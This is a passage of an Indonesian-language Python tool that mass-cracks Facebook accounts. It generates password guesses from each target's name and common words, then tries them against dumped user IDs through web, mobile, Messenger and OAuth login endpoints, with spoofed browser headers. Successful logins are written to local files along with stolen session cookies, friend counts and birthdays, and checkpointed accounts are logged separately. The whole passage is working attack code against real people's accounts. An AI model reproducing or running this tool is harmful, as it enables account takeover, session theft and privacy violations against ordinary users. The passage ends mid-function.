  653.                     for nama in fullname.split(' '):
  654.                         if len(nama) < 3 or len(nama) < 5: continue
  655.                         else:
  656.                             for passwords in ['Bismillah','Sayang',f'{nama}321',f'{nama}123', f'{nama}12345']:
  657.                                 self.password.append(f'{str(passwords).lower()}')
  658.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  659.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  660.                             continue
  661.                         else: self.password.append(f'{str(passwords).lower()}')
  662.                 elif Password_Akun =='04' or Password_Akun =='4':
  663.                     for passwords in self.password_manual:
  664.                         self.password.append(f'{passwords.lower()}')
  665.                 else:
  666.                     for nama in fullname.split(' '):
  667.                         if len(nama) < 3 or len(nama) < 5: continue
  668.                         else:
  669.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  670.                                 self.password.append(f'{str(passwords).lower()}')
  671.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  672.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  673.                             continue
  674.                         else: self.password.append(f'{str(passwords).lower()}')
  675.                 if 'ya' in self.masukan_sandine:
  676.                     for Pemasukan_Password in self.password_manuale:
  677.                         self.password.append(Pemasukan_Password)
  678.                 if Kntl in ('1') or Kntl in ('01'): V.submit(self.ExecWeb, username, self.password)
  679.                 elif Kntl in ('2') or Kntl in ('02'): V.submit(self.ExecReguler, username, self.password)
  680.                 elif Kntl in ('3') or Kntl in ('03'): V.submit(self.ExecMassenger, username, self.password)
  681.                 elif Kntl in ('4') or Kntl in ('04'): V.submit(self.ExecAsyinc, username, self.password)
  682.                 elif Kntl in ('5') or Kntl in ('05'): V.submit(self.ExecApi, username, password)
  683.                 elif Kntl in ('6') or Kntl in ('06'): V.submit(self.ExecGraph, username, self.password)
  684.                 else: V.submit(self.ExecWeb, username, self.password)            
  685.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  686.         exit()
  687.                
  688.     def ExecWeb(self, username, password):
  689.         byps = requests.Session()
  690.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  691.         ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
  692.         while True:
  693.             try:
  694.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  695.                 else: ua_generate
  696.                 byps.headers.update({
  697.                     'accept-language': 'en-US,en;q=0.9',
  698.                     'sec-fetch-mode': 'navigate',
  699.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  700.                     'connection': 'keep-alive',
  701.                     'sec-ch-ua-mobile': '?0',
  702.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  703.                     'sec-fetch-sest': 'document',
  704.                     'sec-fetch-site': 'none',
  705.                     'cache-control': 'max-age=0',
  706.                     'sec-fetch-user': '?1',
  707.                     'upgrade-insecure-requests': '1',
  708.                     'host': 'web.facebook.com',
  709.                     'user-agent': ua_generate,
  710.                 })
  711.                 self.poge = byps.get('https://web.facebook.com/').text
  712.                 try:
  713.                     privacy_mutation_token = re.search('action="/login/\\?privacy_mutation_token=(.*?)"', str(self.poge)).group(1)
  714.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  715.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  716.                     login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
  717.                     next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
  718.                     __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
  719.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  720.                 except (AttributeError) as e:
  721.                     Console().print(f"[bold grey50]   ──>[bold red] TERJADI KESALAHAN SPAM!", end='\r'); time.sleep(1.0)
  722.                     continue
  723.                 self.payload = {
  724.                     'lsd': lsd,
  725.                     'jazoest': jazoest,
  726.                     'login_source': login_source,
  727.                     'next': next,
  728.                 }
  729.                 byps.headers.update({
  730.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  731.                     'sec-fetch-site': 'same-origin',
  732.                     'origin': 'https://web.facebook.com',
  733.                     'accept': '*/*',
  734.                     'sec-ch-ua-platform': 'Linux',
  735.                     'content-type': 'application/x-www-form-urlencoded',
  736.                     'x-fb-lsd': self.payload['lsd'],
  737.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  738.                     'referer': 'https://web.facebook.com/login.php?',
  739.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  740.                 })
  741.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  742.                 break
  743.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecWeb(username, password)
  744.             except (Exception) as e: pass
  745.         for passe in password:
  746.             try:
  747.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
  748.                 self.response = byps.post('https://web.facebook.com/login/?privacy_mutation_token={}'.format(privacy_mutation_token), data = self.payload, allow_redirects = True)
  749.                 if 'c_user' in byps.cookies.get_dict().keys():
  750.                     self.ok+=1
  751.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  752.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  753.                     except (Exception) as e: convert_username = username
  754.                     if 'ya' in self.opsi:
  755.                         try:
  756.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  757.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  758.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  759.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  760.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  761.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  762.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  763.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  764.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  765.                             else:
  766.                                 for apk in active: true.add(f"{apk}")
  767.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  768.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  769.                             else:
  770.                                 for apk in inactive: true.add(f"{apk}")
  771.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  772.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  773.                             else:
  774.                                 for apk in deleted: true.add(f"{apk}")
  775.                             printz(tree)
  776.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  777.                         except (Exception) as e:
  778.                             print(e)
  779.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  780.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  781.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  782.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  783.                             printz(tree)
  784.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  785.                     else:
  786.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  787.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  788.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  789.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  790.                         printz(tree)
  791.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  792.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  793.                         wr.write(save)
  794.                         wr.close()
  795.                     break
  796.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  797.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  798.                     except (Exception) as e: convert_username = username
  799.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  800.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  801.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  802.                     printz(tree)
  803.                     self.cp+=1
  804.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  805.                         wr.write(f'{convert_username}|{passe}\n')
  806.                         wr.close()
  807.                     break  
  808.                 else: continue
  809.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  810.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  811.                 time.sleep(31)
  812.         self.lp+=1    
  813.        
  814.     def ExecReguler(self, username, password):
  815.         byps = requests.Session()
  816.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  817.         ua_generate = Requ().useragent_fb()
  818.         while True:
  819.             try:
  820.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  821.                 else: ua_generate
  822.                 byps.headers.update({
  823.                     'accept-language': 'en-US,en;q=0.9',
  824.                     'sec-fetch-mode': 'navigate',
  825.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  826.                     'connection': 'keep-alive',
  827.                     'sec-ch-ua-mobile': '?0',
  828.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  829.                     'sec-fetch-sest': 'document',
  830.                     'sec-fetch-site': 'none',
  831.                     'cache-control': 'max-age=0',
  832.                     'sec-fetch-user': '?1',
  833.                     'upgrade-insecure-requests': '1',
  834.                     'host': 'web.facebook.com',
  835.                     'user-agent': ua_generate,
  836.                 })
  837.                 self.poge = byps.get('https://web.facebook.com/').text
  838.                 try:
  839.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  840.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  841.                     login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
  842.                     next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
  843.                     __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
  844.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  845.                 except (AttributeError) as e:
  846.                     #Console().print(f"[bold grey50]   ──>[bold red] TERJADI KESALAHAN SPAM!", end='\r'); time.sleep(1.0)
  847.                     continue
  848.                 self.payload = {
  849.                     'lsd': lsd,
  850.                     'jazoest': jazoest,
  851.                     'cred_type': '100',
  852.                     'login_source': login_source,
  853.                     'next': next
  854.                 }
  855.                 byps.headers.update({
  856.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  857.                     'sec-fetch-site': 'same-origin',
  858.                     'origin': 'https://web.facebook.com',
  859.                     'accept': '*/*',
  860.                     'sec-ch-ua-platform': 'Linux',
  861.                     'content-type': 'application/x-www-form-urlencoded',
  862.                     'x-fb-lsd': self.payload['lsd'],
  863.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  864.                     'referer': 'https://web.facebook.com/?__rdc=1&__rdr=1',
  865.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  866.                 })
  867.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  868.                 break
  869.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReguler(username, password)
  870.             except (Exception) as e: pass
  871.         for passe in password:
  872.             try:
  873.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
  874.                 self.response = byps.post('https://web.facebook.com/login/device-based/regular/login/', data = self.payload, allow_redirects = True)
  875.                 if 'c_user' in byps.cookies.get_dict().keys():
  876.                     self.ok+=1
  877.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  878.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  879.                     except (Exception) as e: convert_username = username
  880.                     if 'ya' in self.opsi:
  881.                         try:
  882.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  883.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  884.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  885.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  886.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  887.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  888.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  889.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  890.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  891.                             else:
  892.                                 for apk in active: true.add(f"{apk}")
  893.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  894.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  895.                             else:
  896.                                 for apk in inactive: true.add(f"{apk}")
  897.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  898.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  899.                             else:
  900.                                 for apk in deleted: true.add(f"{apk}")
  901.                             printz(tree)
  902.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  903.                         except (Exception) as e:
  904.                             print(e)
  905.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  906.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  907.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  908.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  909.                             printz(tree)
  910.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  911.                     else:
  912.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  913.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  914.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  915.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  916.                         printz(tree)
  917.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  918.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  919.                         wr.write(save)
  920.                         wr.close()
  921.                     break
  922.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  923.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  924.                     except (Exception) as e: convert_username = username
  925.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  926.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  927.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  928.                     printz(tree)
  929.                     self.cp+=1
  930.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  931.                         wr.write(f'{convert_username}|{passe}\n')
  932.                         wr.close()
  933.                     break  
  934.                 else: continue
  935.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  936.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  937.                 time.sleep(31)
  938.         self.lp+=1  
  939.        
  940.     def ExecMassenger(self, username, password):
  941.         byps = requests.Session()
  942.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  943.         ua_generate = Requ().useragent_fb()
  944.         while True:
  945.             try:
  946.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  947.                 else: ua_generate
  948.                 byps.headers.update({
  949.                     'accept-language': 'en-US,en;q=0.9',
  950.                     'sec-fetch-mode': 'navigate',
  951.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  952.                     'connection': 'keep-alive',
  953.                     'sec-ch-ua-mobile': '?0',
  954.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  955.                     'sec-fetch-sest': 'document',
  956.                     'sec-fetch-site': 'none',
  957.                     'cache-control': 'max-age=0',
  958.                     'sec-fetch-user': '?1',
  959.                     'upgrade-insecure-requests': '1',
  960.                     'host': 'www.messenger.com',
  961.                     'user-agent': ua_generate,
  962.                 })
  963.                 self.poge = byps.get('https://www.messenger.com/').text
  964.                 try:
  965.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  966.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  967.                     initial_request_id = re.search('name="initial_request_id" value="(.*?)"', str(self.poge)).group(1)
  968.                     lgnrnd = re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1)
  969.                     lgnjs = re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1)
  970.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  971.                 except (AttributeError) as e:
  972.                     #Console().print(f"[bold grey50]   ──>[bold red] TERJADI KESALAHAN SPAM!", end='\r'); time.sleep(1.0)
  973.                     continue
  974.                 self.payload = {
  975.                     'lsd': lsd,
  976.                     'jazoest': jazoest,
  977.                     'initial_request_id': initial_request_id,
  978.                     'timezone': '-420',
  979.                     'lgndim': '',
  980.                     'lgnrnd': lgnrnd,
  981.                     'lgnjs': lgnjs,
  982.                     'login': '1',
  983.                     'persistent': '1',
  984.                     'default_persistent': ''
  985.                 }
  986.                 byps.headers.update({
  987.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  988.                     'sec-fetch-site': 'same-origin',
  989.                     'origin': 'https://www.messenger.com',
  990.                     'accept': '*/*',
  991.                     'sec-ch-ua-platform': 'Linux',
  992.                     'content-type': 'application/x-www-form-urlencoded',
  993.                     'x-fb-lsd': self.payload['lsd'],
  994.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  995.                     'referer': 'https://www.messenger.com/login.php?',
  996.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  997.                 })
  998.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  999.                 break
  1000.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecMassenger(username, password)
  1001.             except (Exception) as e: print(e)
  1002.         for passe in password:
  1003.             try:
  1004.                 self.payload.update({'email': username, 'pass': passe})
  1005.                 self.response = byps.post('https://www.messenger.com/login/password/', data = self.payload, allow_redirects = True)
  1006.                 if 'c_user' in byps.cookies.get_dict():
  1007.                     self.ok+=1
  1008.                     print('ok')
  1009.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1010.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1011.                     except (Exception) as e: convert_username = username
  1012.                     if 'ya' in self.opsi:
  1013.                         try:
  1014.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1015.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1016.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1017.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1018.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1019.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1020.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1021.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1022.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1023.                             else:
  1024.                                 for apk in active: true.add(f"{apk}")
  1025.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1026.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1027.                             else:
  1028.                                 for apk in inactive: true.add(f"{apk}")
  1029.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1030.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1031.                             else:
  1032.                                 for apk in deleted: true.add(f"{apk}")
  1033.                             printz(tree)
  1034.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1035.                         except (Exception) as e:
  1036.                             print(e)
  1037.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1038.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1039.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1040.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1041.                             printz(tree)
  1042.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1043.                     else:
  1044.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1045.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1046.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1047.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1048.                         printz(tree)
  1049.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1050.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1051.                         wr.write(save)
  1052.                         wr.close()
  1053.                     break
  1054.                 elif 'checkpoint' in str(self.response.url):
  1055.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1056.                     except (Exception) as e: convert_username = username
  1057.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1058.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1059.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1060.                     printz(tree)
  1061.                     self.cp+=1
  1062.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1063.                         wr.write(f'{convert_username}|{passe}\n')
  1064.                         wr.close()
  1065.                     break  
  1066.                 else: continue
  1067.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1068.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1069.                 time.sleep(31)
  1070.         self.lp+=1    
  1071.        
  1072.     def ExecAsyinc(self, username, password):
  1073.         byps = requests.Session()
  1074.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1075.         ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
  1076.         while True:
  1077.             try:
  1078.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1079.                 else: ua_generate
  1080.                 byps.headers.update({
  1081.                     "connection": "keep-alive",
  1082.                     "accept-language": "en-US,id-ID,id;q=0.9",
  1083.                     "sec-fetch-mode": "navigate",
  1084.                     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1085.                     "sec-fetch-sest": "document",
  1086.                     "sec-fetch-site": "none",
  1087.                     "cache-control": "max-age=0",
  1088.                     "upgrade-insecure-requests": "1",
  1089.                     'sec-fetch-user': '?1',
  1090.                     "Host": "m.prod.facebook.com",
  1091.                     "user-agent": ua_generate,
  1092.                 })
  1093.                 self.poge = byps.get('https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
  1094.                 try:
  1095.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  1096.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  1097.                     li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
  1098.                     m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
  1099.                 except (AttributeError) as e:
  1100.                     #Console().print(f"[bold grey50]   ──>[bold red] TERJADI KESALAHAN SPAM!", end='\r'); time.sleep(1.0)
  1101.                     continue
  1102.                 self.payload = {
  1103.                     'm_ts': m_ts,
  1104.                     'li': li,
  1105.                     'try_number': '0',
  1106.                     'unrecognized_tries': '0',
  1107.                     'prefill_contact_point': username,
